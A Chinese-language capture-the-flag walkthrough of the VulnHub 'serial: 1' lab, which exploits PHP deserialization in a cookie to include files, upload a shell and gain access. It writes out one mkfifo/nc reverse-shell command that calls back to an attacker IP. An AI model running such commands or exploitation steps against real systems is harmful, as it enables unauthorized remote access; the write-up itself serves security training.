靶机描述
今天研究一下php反序列化,靶机serial实战。目标为获取root权限。
-------------------------------------
靶机信息
可以去vulhub上下载此靶机:serial: 1 ~ VulnHub下载好,之后,使用Vmware新建虚拟机打开:
渗透测试过程:
探测主机存活(目标主机IP地址)
使用nmap探测主机存活或者使用Kali里的netdicover进行探测。
扫描到存活主机, 开放了22和80端口
访问web服务
F12查看,是一串base64编码
解码,是一串代码
尝试逻辑绕过,将sk4换成admin,看看是否有什么信息。
这里直接报500错误,没办法,只有找其他思路。
目录扫描
-
1.使用工具进行扫描,这里扫到一个/backup/目录。
打开查看,是一个zip文件,下载查看,是三个源代码文件
发现三个php文件,打开看是
网站源码
代码审计
user.class.php
通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出。
经过代码审计可构造payload,尝试读取passwd文件,payload如下:
成功包含,看到有一个sk4用户可以登录
get shell
构造序列化语句上传shell
然后再次抓包 打开用burp的repeater
成功执行
上传后反弹shell
本地监听端口
开始反弹shell
rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+192.168.77.129+5555+>/tmp/f
将上述代码url编码后填入参数位置
监听成功
在攻击模块发送获取shell 查找一个txt.bak文件
查看文件得到密码
最后在远程连接 成功进入